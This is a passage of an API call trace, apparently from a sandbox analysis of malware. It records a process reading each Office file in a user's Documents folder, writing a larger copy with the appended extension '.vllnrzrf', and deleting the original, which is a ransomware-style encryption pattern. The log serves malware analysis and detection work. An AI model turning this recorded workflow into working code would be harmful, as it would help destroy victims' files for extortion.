lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gWwRL91loDF05.pptx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gWwRL91loDF05.pptx", lpFilePart=0x0) returned 0x3a [0097.069] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gWwRL91loDF05.pptx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gWwRL91loDF05.pptx", lpFilePart=0x0) returned 0x3a [0097.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0097.069] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gWwRL91loDF05.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gwwrl91lodf05.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0097.069] GetFileType (hFile=0x41c) returned 0x1 [0097.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0097.069] GetFileType (hFile=0x41c) returned 0x1 [0097.069] GetFileSize (in: hFile=0x41c, lpFileSizeHigh=0x1cf8e2c8 | out: lpFileSizeHigh=0x1cf8e2c8*=0x0) returned 0xc373 [0097.069] ReadFile (in: hFile=0x41c, lpBuffer=0x2245720, nNumberOfBytesToRead=0xc373, lpNumberOfBytesRead=0x1cf8e1f8, lpOverlapped=0x0 | out: lpBuffer=0x2245720*, lpNumberOfBytesRead=0x1cf8e1f8*=0xc373, lpOverlapped=0x0) returned 1 [0097.071] CloseHandle (hObject=0x41c) returned 1 [0097.080] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gWwRL91loDF05.pptx.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gWwRL91loDF05.pptx.vllnrzrf", lpFilePart=0x0) returned 0x43 [0097.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0097.080] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gWwRL91loDF05.pptx.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gwwrl91lodf05.pptx.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0097.099] GetFileType (hFile=0x41c) returned 0x1 [0097.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0097.099] GetFileType (hFile=0x41c) returned 0x1 [0097.099] WriteFile (in: hFile=0x41c, lpBuffer=0x228a4c0*, nNumberOfBytesToWrite=0xc573, lpNumberOfBytesWritten=0x1cf8e258, lpOverlapped=0x0 | out: lpBuffer=0x228a4c0*, lpNumberOfBytesWritten=0x1cf8e258*=0xc573, lpOverlapped=0x0) returned 1 [0097.101] CloseHandle (hObject=0x41c) returned 1 [0097.103] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gWwRL91loDF05.pptx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gWwRL91loDF05.pptx", lpFilePart=0x0) returned 0x3a [0097.103] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gWwRL91loDF05.pptx", nBufferLength=0x105, lpBuffer=0x1cf8ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gWwRL91loDF05.pptx", lpFilePart=0x0) returned 0x3a [0097.103] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gWwRL91loDF05.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gwwrl91lodf05.pptx")) returned 1 [0097.106] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\haMKT.doc", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\haMKT.doc", lpFilePart=0x0) returned 0x31 [0097.106] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\haMKT.doc", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\haMKT.doc", lpFilePart=0x0) returned 0x31 [0097.106] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\haMKT.doc", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\haMKT.doc", lpFilePart=0x0) returned 0x31 [0097.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0097.106] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\haMKT.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hamkt.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0097.106] GetFileType (hFile=0x41c) returned 0x1 [0097.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0097.106] GetFileType (hFile=0x41c) returned 0x1 [0097.106] GetFileSize (in: hFile=0x41c, lpFileSizeHigh=0x1cf8e2c8 | out: lpFileSizeHigh=0x1cf8e2c8*=0x0) returned 0x2abc [0097.106] ReadFile (in: hFile=0x41c, lpBuffer=0x22975a8, nNumberOfBytesToRead=0x2abc, lpNumberOfBytesRead=0x1cf8e1f8, lpOverlapped=0x0 | out: lpBuffer=0x22975a8*, lpNumberOfBytesRead=0x1cf8e1f8*=0x2abc, lpOverlapped=0x0) returned 1 [0097.107] CloseHandle (hObject=0x41c) returned 1 [0097.114] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\haMKT.doc.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\haMKT.doc.vllnrzrf", lpFilePart=0x0) returned 0x3a [0097.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0097.114] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\haMKT.doc.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hamkt.doc.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0097.115] GetFileType (hFile=0x41c) returned 0x1 [0097.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0097.115] GetFileType (hFile=0x41c) returned 0x1 [0097.115] WriteFile (in: hFile=0x41c, lpBuffer=0x22ae370*, nNumberOfBytesToWrite=0x2cbc, lpNumberOfBytesWritten=0x1cf8e258, lpOverlapped=0x0 | out: lpBuffer=0x22ae370*, lpNumberOfBytesWritten=0x1cf8e258*=0x2cbc, lpOverlapped=0x0) returned 1 [0097.116] CloseHandle (hObject=0x41c) returned 1 [0097.120] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\haMKT.doc", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\haMKT.doc", lpFilePart=0x0) returned 0x31 [0097.120] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\haMKT.doc", nBufferLength=0x105, lpBuffer=0x1cf8ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\haMKT.doc", lpFilePart=0x0) returned 0x31 [0097.120] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\haMKT.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hamkt.doc")) returned 1 [0097.212] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hylpv.xlsx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hylpv.xlsx", lpFilePart=0x0) returned 0x32 [0097.212] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hylpv.xlsx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hylpv.xlsx", lpFilePart=0x0) returned 0x32 [0097.212] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hylpv.xlsx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hylpv.xlsx", lpFilePart=0x0) returned 0x32 [0097.212] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0097.212] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hylpv.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hylpv.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0097.212] GetFileType (hFile=0x41c) returned 0x1 [0097.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0097.212] GetFileType (hFile=0x41c) returned 0x1 [0097.212] GetFileSize (in: hFile=0x41c, lpFileSizeHigh=0x1cf8e2c8 | out: lpFileSizeHigh=0x1cf8e2c8*=0x0) returned 0x61cc [0097.212] ReadFile (in: hFile=0x41c, lpBuffer=0x22b1b60, nNumberOfBytesToRead=0x61cc, lpNumberOfBytesRead=0x1cf8e1f8, lpOverlapped=0x0 | out: lpBuffer=0x22b1b60*, lpNumberOfBytesRead=0x1cf8e1f8*=0x61cc, lpOverlapped=0x0) returned 1 [0097.226] CloseHandle (hObject=0x41c) returned 1 [0097.328] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hylpv.xlsx.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hylpv.xlsx.vllnrzrf", lpFilePart=0x0) returned 0x3b [0097.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0097.328] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hylpv.xlsx.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hylpv.xlsx.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0097.329] GetFileType (hFile=0x41c) returned 0x1 [0097.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0097.329] GetFileType (hFile=0x41c) returned 0x1 [0097.329] WriteFile (in: hFile=0x41c, lpBuffer=0x22e2010*, nNumberOfBytesToWrite=0x63cc, lpNumberOfBytesWritten=0x1cf8e258, lpOverlapped=0x0 | out: lpBuffer=0x22e2010*, lpNumberOfBytesWritten=0x1cf8e258*=0x63cc, lpOverlapped=0x0) returned 1 [0097.330] CloseHandle (hObject=0x41c) returned 1 [0097.332] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hylpv.xlsx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hylpv.xlsx", lpFilePart=0x0) returned 0x32 [0097.332] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hylpv.xlsx", nBufferLength=0x105, lpBuffer=0x1cf8ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hylpv.xlsx", lpFilePart=0x0) returned 0x32 [0097.333] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hylpv.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hylpv.xlsx")) returned 1 [0097.335] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ImpvjCeG6H.pptx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ImpvjCeG6H.pptx", lpFilePart=0x0) returned 0x37 [0097.335] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ImpvjCeG6H.pptx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ImpvjCeG6H.pptx", lpFilePart=0x0) returned 0x37 [0097.335] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ImpvjCeG6H.pptx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ImpvjCeG6H.pptx", lpFilePart=0x0) returned 0x37 [0097.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0097.335] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ImpvjCeG6H.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\impvjceg6h.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0097.335] GetFileType (hFile=0x41c) returned 0x1 [0097.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0097.335] GetFileType (hFile=0x41c) returned 0x1 [0097.335] GetFileSize (in: hFile=0x41c, lpFileSizeHigh=0x1cf8e2c8 | out: lpFileSizeHigh=0x1cf8e2c8*=0x0) returned 0x17d40 [0097.336] ReadFile (in: hFile=0x41c, lpBuffer=0x12487780, nNumberOfBytesToRead=0x17d40, lpNumberOfBytesRead=0x1cf8e1f8, lpOverlapped=0x0 | out: lpBuffer=0x12487780*, lpNumberOfBytesRead=0x1cf8e1f8*=0x17d40, lpOverlapped=0x0) returned 1 [0097.338] CloseHandle (hObject=0x41c) returned 1 [0097.355] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ImpvjCeG6H.pptx.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ImpvjCeG6H.pptx.vllnrzrf", lpFilePart=0x0) returned 0x40 [0097.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0097.355] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ImpvjCeG6H.pptx.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\impvjceg6h.pptx.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0097.356] GetFileType (hFile=0x41c) returned 0x1 [0097.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0097.356] GetFileType (hFile=0x41c) returned 0x1 [0097.356] WriteFile (in: hFile=0x41c, lpBuffer=0x124e6d60*, nNumberOfBytesToWrite=0x17f40, lpNumberOfBytesWritten=0x1cf8e258, lpOverlapped=0x0 | out: lpBuffer=0x124e6d60*, lpNumberOfBytesWritten=0x1cf8e258*=0x17f40, lpOverlapped=0x0) returned 1 [0097.359] CloseHandle (hObject=0x41c) returned 1 [0097.361] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ImpvjCeG6H.pptx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ImpvjCeG6H.pptx", lpFilePart=0x0) returned 0x37 [0097.362] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ImpvjCeG6H.pptx", nBufferLength=0x105, lpBuffer=0x1cf8ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ImpvjCeG6H.pptx", lpFilePart=0x0) returned 0x37 [0097.362] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ImpvjCeG6H.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\impvjceg6h.pptx")) returned 1 [0097.375] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kx3ga8HpCwP1fTGA3O.ots", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kx3ga8HpCwP1fTGA3O.ots", lpFilePart=0x0) returned 0x3e [0097.375] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kx3ga8HpCwP1fTGA3O.ots", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kx3ga8HpCwP1fTGA3O.ots", lpFilePart=0x0) returned 0x3e [0097.376] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kx3ga8HpCwP1fTGA3O.ots", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kx3ga8HpCwP1fTGA3O.ots", lpFilePart=0x0) returned 0x3e [0097.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0097.376] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kx3ga8HpCwP1fTGA3O.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kx3ga8hpcwp1ftga3o.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0097.376] GetFileType (hFile=0x41c) returned 0x1 [0097.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0097.376] GetFileType (hFile=0x41c) returned 0x1 [0097.376] GetFileSize (in: hFile=0x41c, lpFileSizeHigh=0x1cf8e2c8 | out: lpFileSizeHigh=0x1cf8e2c8*=0x0) returned 0x6a3a [0097.376] ReadFile (in: hFile=0x41c, lpBuffer=0x230da00, nNumberOfBytesToRead=0x6a3a, lpNumberOfBytesRead=0x1cf8e1f8, lpOverlapped=0x0 | out: lpBuffer=0x230da00*, lpNumberOfBytesRead=0x1cf8e1f8*=0x6a3a, lpOverlapped=0x0) returned 1 [0097.377] CloseHandle (hObject=0x41c) returned 1 [0097.388] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kx3ga8HpCwP1fTGA3O.ots.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kx3ga8HpCwP1fTGA3O.ots.vllnrzrf", lpFilePart=0x0) returned 0x47 [0097.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0097.388] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kx3ga8HpCwP1fTGA3O.ots.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kx3ga8hpcwp1ftga3o.ots.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0097.389] GetFileType (hFile=0x41c) returned 0x1 [0097.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0097.389] GetFileType (hFile=0x41c) returned 0x1 [0097.389] WriteFile (in: hFile=0x41c, lpBuffer=0x2341c18*, nNumberOfBytesToWrite=0x6c3a, lpNumberOfBytesWritten=0x1cf8e258, lpOverlapped=0x0 | out: lpBuffer=0x2341c18*, lpNumberOfBytesWritten=0x1cf8e258*=0x6c3a, lpOverlapped=0x0) returned 1 [0097.390] CloseHandle (hObject=0x41c) returned 1 [0097.392] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kx3ga8HpCwP1fTGA3O.ots", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kx3ga8HpCwP1fTGA3O.ots", lpFilePart=0x0) returned 0x3e [0097.392] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kx3ga8HpCwP1fTGA3O.ots", nBufferLength=0x105, lpBuffer=0x1cf8ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kx3ga8HpCwP1fTGA3O.ots", lpFilePart=0x0) returned 0x3e [0097.392] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kx3ga8HpCwP1fTGA3O.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kx3ga8hpcwp1ftga3o.ots")) returned 1 [0097.395] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mlLwY2J.pptx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mlLwY2J.pptx", lpFilePart=0x0) returned 0x34 [0097.395] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mlLwY2J.pptx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mlLwY2J.pptx", lpFilePart=0x0) returned 0x34 [0097.395] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mlLwY2J.pptx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mlLwY2J.pptx", lpFilePart=0x0) returned 0x34 [0097.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0097.395] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mlLwY2J.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mllwy2j.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0097.395] GetFileType (hFile=0x41c) returned 0x1 [0097.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0097.396] GetFileType (hFile=0x41c) returned 0x1 [0097.396] GetFileSize (in: hFile=0x41c, lpFileSizeHigh=0x1cf8e2c8 | out: lpFileSizeHigh=0x1cf8e2c8*=0x0) returned 0x11a70 [0097.396] ReadFile (in: hFile=0x41c, lpBuffer=0x2349410, nNumberOfBytesToRead=0x11a70, lpNumberOfBytesRead=0x1cf8e1f8, lpOverlapped=0x0 | out: lpBuffer=0x2349410*, lpNumberOfBytesRead=0x1cf8e1f8*=0x11a70, lpOverlapped=0x0) returned 1 [0097.397] CloseHandle (hObject=0x41c) returned 1 [0097.580] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mlLwY2J.pptx.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mlLwY2J.pptx.vllnrzrf", lpFilePart=0x0) returned 0x3d [0097.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0097.580] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mlLwY2J.pptx.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mllwy2j.pptx.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0097.580] GetFileType (hFile=0x41c) returned 0x1 [0097.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0097.580] GetFileType (hFile=0x41c) returned 0x1 [0097.580] WriteFile (in: hFile=0x41c, lpBuffer=0x23ab538*, nNumberOfBytesToWrite=0x11c70, lpNumberOfBytesWritten=0x1cf8e258, lpOverlapped=0x0 | out: lpBuffer=0x23ab538*, lpNumberOfBytesWritten=0x1cf8e258*=0x11c70, lpOverlapped=0x0) returned 1 [0097.582] CloseHandle (hObject=0x41c) returned 1 [0097.584] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mlLwY2J.pptx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mlLwY2J.pptx", lpFilePart=0x0) returned 0x34 [0097.584] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mlLwY2J.pptx", nBufferLength=0x105, lpBuffer=0x1cf8ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mlLwY2J.pptx", lpFilePart=0x0) returned 0x34 [0097.584] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mlLwY2J.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mllwy2j.pptx")) returned 1 [0097.587] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QRT-A.docx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QRT-A.docx", lpFilePart=0x0) returned 0x32 [0097.587] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QRT-A.docx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QRT-A.docx", lpFilePart=0x0) returned 0x32 [0097.587] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QRT-A.docx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QRT-A.docx", lpFilePart=0x0) returned 0x32 [0097.587] SetThreadErrorMode (dwNewMode=0x1, 